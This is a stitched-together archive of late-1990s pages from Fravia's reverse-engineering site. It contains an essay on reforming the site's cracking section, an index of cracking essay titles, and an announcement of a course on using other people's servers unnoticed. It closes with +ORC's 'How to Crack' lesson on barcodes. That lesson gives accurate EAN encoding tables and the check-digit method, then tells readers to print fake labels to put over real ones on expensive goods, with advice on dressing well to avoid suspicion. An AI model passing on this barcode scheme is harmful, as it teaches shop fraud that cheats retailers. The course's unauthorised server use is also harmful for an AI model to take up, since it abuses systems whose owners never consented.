Besides Master +ORC himself wrote a long time ago the following: coz people do not want to learn to be free, and to free
them we have sadly to "circumvent" them with more or less the same techniques that our enemies use to enslave them :=).
And I disagree: we may recur to using 'enroll techniques' yet we have to use, IMO, different ones: our techniques must be
transparent and proudly show their 'inner working'. They'll be nevertheless as strong as our enemy ones (or even stronger
:-) yet they'll always be "on the side of the light" and -an added bonus- those that want to enslave other people will never
be able to use them (knwoledge and transparence are like sun or garlic against all sort of vampires, commercial oriented
bastards cannot even touch them without getting blisters everywhere :-)

http://www.instinct.org/fravia/septem.htm (2 of 5) [2/7/2001 2:53:23 PM]


septem.htm: Fravia's '98 Autumnal thoughts

This said we should anyway, I believe, reduce the "how I


cracked this last version of this target software" essays,
because that IS NOT important at all. Besides, I'm fed up
with all the little lusers using the knowledge they learn on
sites like mine in order to produce serial number
keygenerators or ready made cracks for the zombies instead
to grow up and cut the guts out of the real dangerous
snooping M$ (or whatever) applications that syphon our own
data from our own computers. The point of what I am doing
is to (try to) teach people how to understand, control or
modify ANY aspect of their software whenever they fancy,
NOT to damage software programmers for the sake of it.
After so many years 'in the scene' I don't feel any more that
what we are doing in this field is really useful to grow up
people unless we change our approach.
I have thought a little about it, and see some different
possible solutions, as usual I'll await your input before
proceeding:
1) Completely close the section about reversing software
protection schemes, accepting only essays about "non
protection-related" code reversing (and "compiler specifities"
reversing); as you know I reckon these kind of papers to be
the most interesting, together with the essays about 'adding
functionalities' to a target and about 'hidden activities' of a
target... like for instance to investigate the concealed
connections to a web site of a target in order to deliver,
without your permission, all sort of personal data found on your harddisk... cfr many recent Micro$oft's applications...
besides it is Web-evident that in the reversing scene some good work on "compared compilology" is sorely missing).
This solution would de facto transform the 'software cracking' section in a full fledged 'software investigation' lab and
would not have anything to do anymore with software deprotection per se.
2) Limit the section about reversing software protection
schemes only to outstanding essays dealing with new forms
of protection schemes, and eliminating at the same time all
references to any "specific" target, in this way "real" reversers
would be able to see and understand the code (and grasp the
protection scheme used by the unknown target), yet lusers
would not be able to guess which program or application is
the essay referring to.
This solution would transform the section into a "software
deprotection and protection lab" very useful for protectors
and reversers that would NOT damage the software
programmers.
3) Publish in that section only essays about protection
schemes of "older versions" of a specific target, i.e.: versions
that are NO MORE IN USE (or DOS programs).
This solution would transform the section into a sort of
"history of the software protection" lab, useful for protectors
and reversers alike that would NOT damage the software
programmers.

http://www.instinct.org/fravia/septem.htm (3 of 5) [2/7/2001 2:53:23 PM]


septem.htm: Fravia's '98 Autumnal thoughts

Of course anyone unhappy with this changement of mine can


quickly join one of the good main crackers groups, like
Phrozen Crew, UCF or Mexelite, where he will find many
outstanding crackers, able to teach him everything he needs in
order to produce a zillion of keygenerators and patches for the
never ending last versions of any application. Farewell.
And of course those that only wish to steal software don't need at all to study anything at all, nor to follow any of the
threads above: they will be able to find any serial number or patch they may need (in fact every application or game they
may want to steal) on the billions of warez sites.

Somehow I feel my site should follow a new path, I feel that


we should indeed bring knowledge to the masses, but that it is
a mistake to lean too much on their petty, selfish interest. If
someone has the will, he will still find on my site anything he
needs -always for free, don't underestimate this aspect- to
learn and to 'go beyond', yet I feel we must shut out all those
(and believe me, there are quite many of them) that are only
faking a vague interest for knowledge in order to transform
everything they learn into personal gain (the surest way,
IMHO, to negate knowledge).
I'll change my pages quite radically during the next months: I
intend to cut a lot and create a smaller, yet I hope quite
interesting, new 'Fravia', that I would like to subdivide in
'labs':
"Software reverse engineering" Lab (see above)

"Reality cracking" Lab

"How to search the web" Lab

"Stalking, anonimity and web survival" Lab

"Web scripts, site busting and password protection"


Lab
Of course the help and contributions of all my readers (and
+friends) are welcome. In the mean time: enjoy the last days
of the old Fravia's site... I'm boldly crossing towards new
shores on the deep deep sea of our Web.

Answers & Comments


(Some dafr and some dagegen... OK, I have published nere only a small part, a "choice" from all your contributions, yet I
thank all those that have given me advice... Believe me: I'm taking note of everything you have written)

I will not comment these contributions. It is not necessary, because I believe that the correct path will become clear "all by
itself", as it always happens when people work together and contribute. Just read the ones I have published (only if you'r
interested of course) and I'm sure you'll understand what I mean. As usual on this web of ours, light, truth, insights and
powerful solution proposals come from cooperation, friendship, and from sound contributions offered by people you have
never met in your life...

+Mammon's contribution +Greythorne's contribution


ph0t0n's contribution +Frog's Print's contribution

http://www.instinct.org/fravia/septem.htm (4 of 5) [2/7/2001 2:53:23 PM]


septem.htm: Fravia's '98 Autumnal thoughts

Joa's contribution prophecy's contribution


ZerO+'s contribution Caprine's contribution
Halvar's contribution LeonardoDaVinci's contribution
Freeman's contribution Goth's contribution
The Lighthouse Keeper's one Cimerra's one
Andre's one +Malattia's one
Pantheon's one +Snikkel's one
Benzedrin's one eidan yoson's one
_Infinidim 's one

OK friends, thanks a lot once more, I think it's enough... now watch my site and judge: all readers will see the result of
my considerations (based on the above, of course) during the next months

there's now also a message board for all people hanging around at fravia's

While attending the Olympic games, Leon, prince of Phlius, asked Pythagoras how he would describe himself.
Pythagoras replied, 'I am a philosopher', but Leon had never heard that word before and asked him to explain.
"Life, prince Leon, may well be compared with these public games for in the vast
crowd assembled here some are attracted by the acquisition of gain, others are
led on by the hopes and ambitions of fame and glory. But among them there are a
few who have come to observe and to understand all that passes here."

homepage links +ORC bots wars students' essays counter measures


bots wars antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/septem.htm (5 of 5) [2/7/2001 2:53:23 PM]


aca400.htm: +HCU Academy: Reverse engineering Essays (300-400)

+HCU: Academy of Reverse Engineering


Founded by +ORC in April 1996

n 4
Academy of reverse engineering: ESSAYS 301-400
(Archive: 10 Jun 1998 ~ today)
[Go below to the most recent essays]

+HCU Database Navigation


ESSAYS 001-100 page (2 Mar 1997 - 4 Sep
The fundamental essays
1997)
ESSAYS 100-200 page (4 Sep 1997 - 28 Dec
The required reading for newbies essays
1997)
ESSAYS 200-300 page (28 Dec 1997 - 10 Jun
The beginner essays
1998)
ESSAYS 300-400 page (10 Jun 1998 - to
The intermediate essays
today)
The advanced essays

+HCU Papers Our tools Our protections


Programmers Corner Packers & Unpackers Old unassigned
Project 0: Wdasm reversing Project 1: Hexeditors & co Project 2: Softice & Numega's
Project 5: Netscape
Project 3: Dongles cracking Project 4: CD-Rom faking
ameliorating
Project 7: Most stupid Project 8: VisualBasic
Project 6: Crippled targets
schemes cracking
Project 9: Micro$oft bashing How to protect better Various snippets

The essay database


Date Contributor Essay Description Project Reference
15 June 98 fravia+ ~ mmstory.htm What's behind the mm256.dat and mm2048.dat files? proj 9 ~ fra_012B
15 June 98 Xoanon ~ xoa_126.htm PreviewParadise R.I.P. (vboxed programs... bye bye!) timelock ~ fra_012C
15 June 98 SLH ~ hutsting.htm Applying the sting papers ~ fra_012D
Little essay about the various methods and viewpoints of
17 June 98 Joa ~ crunchi3.htm papers ~ fra_012E
crunching III
17 June 98 fravia+ ~ uninstms.htm It's a long long way to get rid of M$IE proj 9 ~ fra_012F
Little essay about the various methods and viewpoints of
17 June 98 Joa ~ crunchi4.htm papers ~ fra_0130
crunching IV

http://www.instinct.org/fravia/aca400.htm (1 of 5) [2/7/2001 2:53:35 PM]


aca400.htm: +HCU Academy: Reverse engineering Essays (300-400)

PhotoShop 5.0 / Digimarc 1.6.82, Commercial stupidity is proj 7


29 June 98 XaVaX ~ xava_27.htm ~ fra_0131
alive & well
29 June 98 cYnAppZ ~ cynapp1.htm copy your own working serial number from the *.cfg file proj 7 ~ fra_0132
29 June 98 Wyatt ~ wyatt_vb.htm Visual Basic Coprocessor cracking: Wave Events v2.0 proj 8 ~ fra_0133
Little essay about the various methods and viewpoints of
10 July 98 Joa ~ crunchi5.htm papers ~ fra_0134
crunching - V
10 July 98 Ozymandias ~ ozyma1.htm Opera 3.21 crack ourtools ~ fra_0135
advanced
10 July 98 SiuL+Hacky ~ siullin2.htm Ltrace. The Tool (Linux disassembling) ~ fra_0136
ourtools
10 July 98 Cryptopoulos ~ iebug2.htm How to bypass Micro$oft Internet Explorer security unass. ~ fra_0137
10 July 98 +Malattia ~ malamirc.htm mIRC 5.* A KEY GENERATOR EXPLAINED unass. ~ fra_0138
15 July 98 Salinas ~ salinas.htm Micro$oft Publisher 97: Crack it and Drop it! proj 9 ~ fra_0139
15 July 98 Prophecy ~ prophe2.htm Dirtbike: a cute protection scheme unass. ~ fra_013A
Unprotecting unprotectors (AccessData's StopCopy
15 July 98 Snooty ~ snooty2.htm progcor ~ fra_013B
failure)
kill the prohosting.com banners, the tripod.com banners,
20 July 98 +greythorne ~ gtbankil.txt ourtools ~ fra_013C
and the geocities.com banners
20 July 98 +ReZiDeNt ~ rezilin.htm Reverse Engineering a Linux/X Target ourtools ~ fra_013D
20 July 98 Miguel Neto ~ uedilas.htm UltraEdit 5.1: A time trial crack ourtools ~ fra_013E
20 July 98 Mr Shellex ~ shellex.htm ShellExecute and Your Default Browser proj 9 ~ fra_013F
25 July 98 bb ~ bbnag1.htm Simulating User Input to Eliminate Nag Screens papers ~ fra_0140
Reverse Engineering Gettysburg: Demos can be more
25 July 98 +ReZiDeNt ~ rezget_1.htm unass. ~ fra_0141
than they seem
25 July 98 bb ~ bbdrlan2.htm MKS toolkit revisited continuing drlan's work unass. ~ fra_0142
How to crack another commercial "ready made" timelock
25 July 98 Miguel Neto ~ neto_01.htm ~ fra_0143
protection protec
25 July 98 Miguel Neto ~ neto3.htm HTMLPad: A nasty protection unass. ~ fra_0144
Another readymade sotware protection (Intellisecure R2)
31 July 98 +Xoanon ~ xoano_27.htm progcor ~ fra_0145
dies
Keyfiles: Monitor/RA v1.80 and the 'hidden protection'
31 July 98 MisterE ~ monitor.htm progcor ~ fra_0146
idea
31 July 98 Johnny+X ~ rcnewht.htm Cracking an encrypted dll scheme: Virtual Turntables 1.5 progcor ~ fra_0147
Bypassing Win98 FULL Version's serial check "without
06 Sep 98 IH8U ~ win98tut.htm proj 9 ~ fra_0148
cracking"
advanced
06 Sep 98 PNA ~ pna3.htm How to hook any API function in kernel32.dll ~ fra_0149
papers
06 Sep 98 MisterE ~ mre2.htm About keyfiles, generators and protections unass. ~ fra_014A
06 Sep 98 LSD ~ compro2.htm About keyfiles, generators and protections progcor ~ fra_014B
advanced
06 Sep 98 SiuL+Hacky ~ siulflex.htm Linux advanced cracking: flexlm ~ fra_014C
Ourtools
advanced
16 Sep 98 TheOwl ~ icedump4.htm winice dumper (version 4) ~ fra_014D
Ourtools
Little essay about the various methods and viewpoints of
16 Sep 98 Joa ~ crunchi6.htm papers ~ fra_014E
crunching - VI
TU: KeyLBE32.DLL, why would you use this to protect
16 Sep 98 sYmbol ~ symbo_1.htm Ourtools ~ fra_014F
your program?

http://www.instinct.org/fravia/aca400.htm (2 of 5) [2/7/2001 2:53:35 PM]


aca400.htm: +HCU Academy: Reverse engineering Essays (300-400)

TU: Cracking an uninstaller ~ [Filemonitor &


16 Sep 98 Sanity ~ cyberme.htm Proj 7 ~ fra_0150
Deadlisting]
23 Sep 98 Asc0 ~ asc0.htm TU: A crackme based on Aesculapius' algos Our Prot ~ fra_0151
Some useful points in using Wdasm89 as a debugger
23 Sep 98 Lazy Crack ~ wdasmcr.htm Ourtools ~ fra_0152
(Cracking Borland's Sidekick 98)
23 Sep 98 Dr. Fuhrball ~ dvdfuhr.htm DIVX and DVD reversing papers ~ fra_0153
04 Oct 98 +Cruehead ~ soluhtm.htm STRAINER99 solution, by +Cruehead 99Solutions ~ fra_0154
04 Oct 98 +The Q ~ soluhtm.htm STRAINER99 solution, by +The Q 99Solutions ~ fra_0155
04 Oct 98 +Mad ~ soluhtm.htm STRAINER99 solution, by +Mad 99Solutions ~ fra_0156
04 Oct 98 +Int_03h ~ soluhtm.htm STRAINER99 solution, by +Int_03h 99Solutions ~ fra_0157
04 Oct 98 +Spath ~ soluhtm.htm STRAINER99 solution, by +Spath 99Solutions ~ fra_0158
04 Oct 98 +Jazz ~ soluhtm.htm STRAINER99 solution, by +Jazz 99Solutions ~ fra_0159
proj 9
14 Oct 98 TWD ~ twdaplog.htm Finding an hidden incredible database inside windows98 ~ fra_015A
ourtools
A crack without craking: Talonsoft's The Operational Art unass.
14 Oct 98 fravia+ ~ crawicra.htm ~ fra_015B
of War
21 Oct 98 Svd ~ bulga_1.htm Data-reverse-engineering - Lesson 1 papers ~ fra_015C
21 Oct 98 932452 ~ dongle_n.htm Simple dongle reversing proj 3 ~ fra_015D
BEGINNERS: Outtiming the time limit and stack
21 Oct 98 Douby ~ rebirth.htm unass. ~ fra_015E
defeating two CRC checks
30 Oct 98 Cup of Cats ~ coc_001.htm When one key code works, why can't the rest of them? unass. ~ fra_015F
30 Oct 98 Swann ~ swann_mm.htm A New Toy: reversing the different 'modes' of a target ourtools ~ fra_0160
30 Oct 98 The+Q ~ cft_pro.htm CuteFTP KeyFile Protection advanced ~ fra_0161
advanced
30 Oct 98 adq ~ laste_09.htm isDcc: An installshield Decompiler ~ fra_0162
ourtools
Nikodemos The Quick Guide to Smashing those insidious *.DAT
30 Oct 98 ~ laste_09.htm ourtools ~ fra_0163
(Jayke) filez
30 Oct 98 Pilgrim ~ pilgrim.htm How to crack a PC-based FlexLm license manager unass. ~ fra_0164
30 Oct 98 Lone runner ~ fragas1.htm WIN32 Api Hooks, The stub approach advanced ~ fra_0165
Mammon_'s Tales to Fravia+'s Grandson... An IDA
30 Oct 98 +Mammon_ ~ mamm_gip.htm htu-tools ~ fra_0166
Primer...
advanced
12 Nov 98 Jean-Marc ~ enh_ida.htm An IDA enhancer (patching the IDA.WLL) ~ fra_0167
htu-tools
12 Nov 98 NiKoDeMoS ~ jn_essay.htm The New Chaos Protection protec ~ fra_0168
Linux cracking ~ How to crack in Linux without a
12 Nov 98 adq ~ adqlinu1.htm unass. ~ fra_0169
disassembler
VBox The Hellraiser or the "paper tiger" by advanced
12 Nov 98 Marigold ~ marigo_4.htm ~ fra_016A
PreviewSystems timelock
25 Nov 98 Pedro ~ securom1.htm Securom's clever protection scheme debunked advanced ~ fra_016B
25 Nov 98 El Latigo ~ javacral.htm Java cracking, reversing applets unass. ~ fra_016C
25 Nov 98 Victor Porguen ~ redirect.htm Defeating File Integrity Checks Through Redirection advanced ~ fra_016D
An easy way to stop the guys (from Redmond) to snoop
25 Nov 98 -the_gonz ~ twodisk.htm unass. ~ fra_016E
data inside your harddisk
Using BRW: How to make passwords hidden by "stars"
02 Dec 98 LordCaligo ~ caligo4.htm howtouse ~ fra_016F
visible

http://www.instinct.org/fravia/aca400.htm (3 of 5) [2/7/2001 2:53:35 PM]


aca400.htm: +HCU Academy: Reverse engineering Essays (300-400)

Looking inside your Windows 98... Tell me which


02 Dec 98 TWD ~ twdappl2.htm proj 9 ~ fra_0170
applications you run and I'll tell you who you are
02 Dec 98 Sojourner ~ rhino.htm BEGINNERS: What Time Does the Library Open? proj 7 ~ fra_0171
Redirection Revisited -- Achieving Redirection Through
12 Dec 98 Victor Porguen ~ porvbo1.htm papers ~ fra_0172
API Spoofing
12 Dec 98 The_Owl ~ owlimpo.htm HWINFO Defeated: Cracking the impossible advanced ~ fra_0173
12 Dec 98 Embedded ~ enbecor.htm Sniffing the Corporate and Institutional Network corpor. ~ fra_0174
Little essay about the various methods and viewpoints of
12 Dec 98 Joa ~ crunchi7.htm papers ~ fra_0175
crunching VII
Everlock by Az-Tech: Reversing a Commercial Copy advanced
12 Dec 98 Tomboy ~ everlock.htm ~ fra_0176
Protection Scheme - Part 1 protec
23 Dec 98 +Xdaemon ~ xdae_22.htm Cracking File Read Aloud v1.1 (the chmod indicator) unass. ~ fra_0177
23 Dec 98 .sozni ~ soz_li.htm OCX cracking (Using LIC files) unass. ~ fra_0178
23 Dec 98 SiuL+Hacky ~ siul_333.htm Linux cracking: About Introducing Your Own Code advanced ~ fra_0179
23 Dec 98 ZenGuy+ ~ mm_dat.htm Neutralizing MM256.DAT and MM2048.DAT files unass. ~ fra_017A
09 Jan 99 Kilby ~ kilby.htm Thief and the current Eidos protection scheme proj 4 ~ fra_017B
09 Jan 99 Svd ~ svdcd1.htm "offline" debugging and other little marvels protec ~ fra_017C
Indian
09 Jan 99 ~ marajasp.htm Active Server Page reversing ideale ~ fra_017D
Maharaja
09 Jan 99 Pilgrim ~ pilgrim2.htm Further FlexCrypt analysis protec ~ fra_017E
Cracking a Commercial Time Trial Protection using
09 Jan 99 Indian1998+ ~ india_r1.htm protec ~ fra_017F
Wdasm32 as debugger
Protection Techniques (1): How to protect your C
20 Jan 99 +puarc ~ probet_1.htm protec ~ fra_0180
programs
20 Jan 99 Pr!Me5 ~ javascri.htm Javascript: The 'WHEEL OF FORTUNE' solution javascri ~ fra_0181
20 Jan 99 aZh nAZg ~ whosorc.htm +ORC revealed... the best of Zen stalking orc ~ fra_0182
advanced
20 Jan 99 McLallo ~ cdromcla.htm CD-Cops ~ Another ready-made protection annihilated proj 4 ~ fra_0183
protec
+OCHE How to trick Numegas registration routines (and
20 Jan 99 SATRIANI ~ softtric.htm download everything you want from Numega's site) howtouse ~ fra_0184
+OBLEK disassembling Softice itself

only 'real teaching' essays please, the more "reversing oriented", the better... see my
"recent thoughts".
Total: 171 reverse engineers 387 essays
Oldies, new protection ideas, added functionalities, our tools and Linux essays are most
welcome
We are beginning to 'clean' the oldest parts of the +HCU database and need your help

Go to the top of this database page

our protections programmer's corner our tools

homepage links anonymity +ORC javascript wars academy database


bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+

http://www.instinct.org/fravia/aca400.htm (4 of 5) [2/7/2001 2:53:35 PM]


aca400.htm: +HCU Academy: Reverse engineering Essays (300-400)

Is reverse engineering legal?

(c) Fravia+ , +ReZiDeNt, Krugman, 1995, 1996, 1997, 1998. All rights reversed

http://www.instinct.org/fravia/aca400.htm (5 of 5) [2/7/2001 2:53:35 PM]


solutions

+HCU: Academy of reverse engineering


Founded by +ORC in April 1996

1998 courses' opening


"...rrRRRRRrrRRRing... rrRRrrRRRRRrring... rrrRRRrrrRRRRing..."

course one, by +Alistair


Mid January 1998 - ? 1998

How to use alien servers anonymously without being neither noticed nor logged
(well, that's the 'unofficial' title I myself gave to this course after having read +Alistair letter :-)

Below are the letter that +Alistair sent to +Zer0 and info on how to participate
Here are Fravia's thoughts and proposals about the 1998 +HCU
There was an high level of guessing, among some of us, about the beginning of this year +HCU. +ORC
did not seem much 'in the mood'. Yet it looks like things are starting now, and the irony is that our
'cracking' university begins (judging by +Alistair's starting mysterious messages on our maillists) with
some techniques and teachings that seem much more 'hacking' oriented. Anyway this is probably an
appropriate starting, since it happens in the same days Micro$oft has bought Hotmail.
Yet I would like to propose to all participants to avoid just "sitting in the classroom" and "listening to the
teachers". Lest start together our own 'projects'. The one I would like to propose, if others will agree
with me, is to begin developing (i.e. programming) some useful tools.
So I would propose as "project" for 1998 to develop "A basic interceptor": say, a simple (windows) TSR
for logging ALL calls to a specific API from a target program and 'his' dlls or other 'floating' parts.
Such tools exist already, of course. Our first task should be to list the existing ones and see if we can
'tweak' one of them to our purposes. But I'm already running too much ahead. I know that Mammon_
would enjoy to work on such a project. What about the other classmates?
Awaiting your contribution: mine is only an example of a possible project, if each one of you will
propose a project that he would like to develop during this year courses, we could then choose together
the three-four most interesting ones, and work -together- to their success.
This is our university, let's exploit fully the might of our joint forces, my friends: together we will grow
and understand.
(fravia+, 8 January 1998, awaiting your comments and suggestions on this)

http://www.instinct.org/fravia/hcu98_3.htm (1 of 4) [2/7/2001 2:53:39 PM]


solutions

In order to partecipate:
(restricted admission :-(

All HCUkers that have passed the strainer published by +ORC last April should
email as soon as possible +Zer0 and ask him access onto Sergei's list. We are
trying to get permission to add some other crackers to the 98 +HCU, they will be
contacted directly as soon as a couple of reserves will have been cleared.
Anyway already now ALL HCUKERS that have been listed on the solution page
(and that have not already done it, duh) can and should email +Zer0 in order to
get access to Sergei's list!

WHATCH IT! +Alistair will begin next week! Hurry up!


Sorry for all those that have to be left out. I'm not very happy with this: all my philosophy is that teaching
should be made available to anybody who cares... well, let's hope you'll pass the strainer for 1999
(should be published end April 1998) and that the older ones will allow me to publish at least a part of
what we will learn...

And here is the letter that +Alistair sent to +Zer0 on 6 January 1998
Gee! Alistair sends
i have taken +ORC place -can't believe it :)
You will have to call me *master* -feels nice ;)
Oldred is far far away ,lost in his nutty projects.
He asked me to man the ship for a couple of months
and to give you some tricks or lessons or whatever
i can ,like a school of sort: he's worried becose
gates has bought hotmail ,do not worry ,i told
him ,and he wanted me to explain things ,even
if i don't have the free time he has.

So he left me saying he wants you to work


together -fact is he believes in team work ,i
don't ;) and consequently you will have to understand
the tricks i am gonna use ,which wont be difficult ,
i bet many among you know them already anyway ,
don't flame me if so ;)
Let us use zero's sergei *secure* list -nothing
is secure nowadays ,since a couple of you mirror
it to hotmail and i can intercept it on its route
to bill's new kingdom.

http://www.instinct.org/fravia/hcu98_3.htm (2 of 4) [2/7/2001 2:53:39 PM]


solutions

So ,who am i? You wont know -i'm a friend of Oldred ,


and Alistair is not my real nick -that's all. I'm no
cracker myself -now i am happy becose should i need
to crack some proggy i can ask you to do it -no
i wont -i prefer the real warez ;) anyway i can
hack a little the net , and help friends ;) that's
all you should care about...

So a couple of you asked for more people to join


before starting ,why not?
Only problem is i don't know you at all ,so i
dunnow. Let the three of them greythorne ,fravia
and sync decide who ,I take anyone they say on
board.

Let's start next week on zero's sergei.


Smash all people you want on that list. It is up to
you to keep only friends in there ,i am not gonna
check much.
Zero: publish everything i will throw to you ,
with header and all -keep your own IPs out if you
want ,they are not needed. I wont send to your
other list any more: I mixed a little the two
until I got it: Sergei = SEcure and Linotype =
LIst ;)
I will carry on until you smart personages find
out how i am doing it ,then we shall pass to
something else.
You guys relish all sort of riddles said ORC ,fine ,
i relish riddles too.
Of course people there on the servers i will use
wont know nutting about it. Wont ever understand
what's happening either. And in case they do there
are millions other servers we can use.
So ,now it is already getting too easy ,i better
close.

Gee! pupils
Alistair out

Well, we'll soon see, I hope, what all this means :-)

links +ORC students' essays tools anti commercial smut newbies


anonymity counter measures Javascripts stalking enslavement corporate survival

http://www.instinct.org/fravia/hcu98_3.htm (3 of 4) [2/7/2001 2:53:39 PM]


solutions

counter intelligence cookies steganography cocktails search page


protectionist corner mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998. All rights reversed

http://www.instinct.org/fravia/hcu98_3.htm (4 of 4) [2/7/2001 2:53:39 PM]


Howtocr3.1

HOW TO CRACK, by +ORC, A TUTORIAL


LESSON C (1) - How to crack, Cracking as an art

[BARCODES] [INSTANT ACCESS]

[BARCODES]
First of all, let me stress the importance of cracking in
our everyday life. Cracking it's not just about software, it's
about information, about all patterns of life. To crack is to
refuse to be controlled and used by others, to crack is to be
free. But you must also be yourself free from petty conventions
in order to crack properly.
You must learn to discerne cracking possibilities all around
yourself, and believe me, the development of this ghastly society
brings every day new codes, protections and concealing
mechanismes.
All around us grows a world of codes and secret and not so
secret patterns. Codes that are at times so familiar and common
that we do not even notice them any more... and yet they are
there to fool us, and yet they offer marvellous cracking
possibilities.

Let's take as an striking example BARCODES... those little


lines that you see on any book you buy, on any bottle you get,
on any item around you... do you know how they work? If you do
not you may be excused, but you cannot be excused if you never
had the impulse to understand them... crackers are curious by
nature... heirs of an almost extinct race of researchers that has
nothing in common with the television slaves and the publicity
and trend zombies around us. Cracker should always be capable of
going beyond the obvious, seek knowledge where others do not see
and do not venture.

[BARCODE HISTORY]
Let's begin with a little history. Universal Product Code
(UPC) was adopted for commercial use by the grocery industry in
the USA. Among the advantages were a rapid, accurate and reliable
way of entering stock information into a computer and the
possibility to sack a lot of workers and to do more profit. The
early success led to the development of the European Article
Numbering System (EAN), a symbology similar to UPC, that is

http://www.instinct.org/fravia/crack_c1.htm (1 of 10) [2/7/2001 2:53:43 PM]


Howtocr3.1

widely used in Europe and in the rest of the World. I'll teach
you to crack this one, since I do not -fortunately- live in the
States. Keep in mind, anyway, that there are different barcode
symbologies, each with its own particular pattern of bars. The
UPC/EAN code used on retail products is an all-numeric code; so
is the Interleaved 2 of 5 Code. Code 39 includes upper case
letters, digits, and a few symbols. Code 128 includes every
printable and unprintable ASCII character code. The most new one
is a 2-D code. These are special rectangular codes, called
stacked barcodes or matrix codes. They can store considerably
more information than a standard barcode. They require special
readers which cost more than a standard scanner. The practical
limit for a standard barcode depends on a number of factors, but
20 to 25 characters is an approximate maximum. For applications
that need more data, matrix codes are used. For example, the next
time you receive a package from United Parcel Service look for
a small square label with a pattern of dots and a small bullseye
in the centre. This is a MaxiCode label, and it is used by UPS
for automatic destination sortition.
The manufacturer's ID number on the barcode uniquely
identifies products. These numbers are managed by the Uniform
Code Council in Dayton, Ohio for the States and Canada and by the
EAN authority (Internationale Article Numbering Association) in
Bruxelles, for Europe and the rest of the World. The
manufacturer's ID number accounts for some digits of the code,
which leaves other digits to be assigned in any way the producer
wants. He provides retail outlets with a list of his products and
their assigned codes so that they can be entered in the cash
register system. Many codes are NOT on the products and are added
by the supermarkets on the fly, using an internal code schema
that may be non standard. Now it's enough... let's crack.
BARCODES are the only thing an automated casher needs to see
on a product to calculate its price and automatically catalogate
the sold merchandise... imagine (just imagine it :=) coz it would
be extremely illegal to act in this way) somebody would fasten
an adhesive home-made codebar label direct on the top of the
supermarket/mall/retail store label, say on a bottle of Pomerol
(that's a very good but unfortunately very expensive french
wine).
The new label would mean for the casher something like
"cheap wine from Bordeaux, France, cost so and so, everything
it's OK, do not worry"... do you think that anybody would come
to the idea that there is something wrong with the label, with
the bottle or with you? I have been codebaring for years and had
only once a problem, coz my printer was running out of ink and
the scanner in the supermarket could not read it... so what? Act

http://www.instinct.org/fravia/crack_c1.htm (2 of 10) [2/7/2001 2:53:43 PM]


Howtocr3.1

uninterested, always wear jackets of the utmost quality, shetland


pullovers and beautiful expensive shoes... (all articles that you
may codebar too, by the way), in this society appearance and look
count much more than substance and knowledge... LET'S USE THIS
TO OUR ADVANTAGE! Nobody will ever come to the idea that you may
actually really know the working of the scheme... coz codebar is
pretty complicated and not exactly exceptionally public. On the
Web there are a lot information about it, but most of them are
useless, unless you know how to search most of the time you'll
find only sentences like this one:
"The calculated check digit is the twelfth and final
digit in the U.P.C.code. It is calculated based on a
specific algorithm, and is necessary to ensure that
the number is read or key-entered correctly."

But good +ORC will now explain you everything you need to crack:

[THE 13 BAR "CODES"]


Each barcode label has 13 values, from #0 to #12 (that's the EAN
code, the UPC american one has only 12, from #0 to #11).
#0 and #1 indicate the origin of the product.
#2 to #11 give the article code
#12 (the last and 13th one) is a checksum value, that
verifies the validity of all the other numbers.
How is it calculated? #12 is calculated in 4 steps
VALUE A: You sum odd position numbers (#0+#2+#4+#6+#8+#10)
VALUE B: You sum even position numbers and multiply by 3
((#1+#3+#5+#7+#9+#11)*3)
VALUE C: You sum value A and value B
VALUE D: You mod value C (you divide by 10 and only keep
the remaining units, a very widespread checking scheme as
you'll see in the software part of this lesson)
If the result is not zero, you subtract it from 10.
Now look at a barcode label, get some books or other barcoded
items and *watch* it...
Bar codes are supposed to have "quiet zones" on either side of
the symbol. Quiet zones are blank areas, free of any printing or
marks,typically 10 times the width of the narrowest bar or space
in the bar code. Failure to allow adequate space on either side
of the symbol for quiet zones can make it impossible to read the
bar code.

On the barcode there are two "borders", left and right, and a
"middle" longer line. These three lines are longer than the
others and are used to "regulate" the scanner to whatever
dimension has been used for the barcode.

http://www.instinct.org/fravia/crack_c1.htm (3 of 10) [2/7/2001 2:53:43 PM]


Howtocr3.1

#0 dwells left of the first (left) border and has a special


meaning, the other 12 numbers are written "inside" the code and
are divided in two "groups" by the middle bar.
Each value is coded through SEVEN bars: black=1 and White=0.
These form two couples of "optic" bars of different widths.
We come now to the "magic" part: In order to bluff the
simpletons, barcode uses three different SETS of characters to
represent the values 0-9. This should make it impossible for you
to understand what's going on, as usual, in this society, slaves
should not need to worry with the real functioning of things.
Here are the graphic codes of the three graphic sets:

CODE A CODE B (XOR C) CODE C (NOT A)


0: 0001101 (13) 0100111 (39) 1110010 (114)
1: 0011001 (25) 0110011 (51) 1100110 (102)
2: 0010011 (19) 0011011 (27) 1101100 (108)
3: 0111101 (61) 0100001 (33) 1000010 (066)
4: 0100011 (35) 0011101 (29) 1011100 (092)
5: 0110001 (49) 0111001 (57) 1001110 (078)
6: 0101111 (47) 0000101 (05) 1010000 (080)
7: 0111011 (59) 0010001 (17) 1000100 (068)
8: 0110111 (55) 0001001 (09) 1001000 (072)

9: 0001011 (11) 0010111 (23) 1110100 (116)

Borders: 101
Centre: 01010

- The C graphic set is a "NOT A" graphic set.


- The B graphic set is a "XOR C" graphic set.
- each value has two couples of bars with different widths

Now watch some labels yourself... see the difference between the
numbers left and the numbers right? The first "half" of the
barcode is coded using sets A and B, the second "half" using set
C. As if that were not enough, A and B are used inside the first
"half" in a combination that varies and depends from value #0,
following 10 different patterns:
#1 #2 #3 #4 #5 #6
0 A A A A A A
1 A A B A B B
2 A A B B A B
3 A A B B B A
4 A B A A B B
5 A B B A A B
6 A B B B A A

http://www.instinct.org/fravia/crack_c1.htm (4 of 10) [2/7/2001 2:53:43 PM]


Howtocr3.1

7 A B A B A B
8 A B A B B A
9 A B B A B A

"Ah! Stupid buyer will never understand why the same values gives
different bars! Nothing is as reliable as barcodes!" :=)

Let's take as example the codebar for Martini Dry:


BARCODE: 8 0 00570 00425 7
Let's see: we have a 8 0 0 = booze
Then a 000570 as ABABBA and a 004257 as C
"Even" sum: 8+0+5+0+0+2 = 15 (even sum)
Then a 0+0+7+0+4+5= 16 and 16 *3 = 48 (odd sum)
Then a 15+48=63
63 === 3
10 - 3 = 7 = checksum
Pattern = 8 = ABABBA CCCCCC

OK, one more example: Osborne Windows programming series Volume


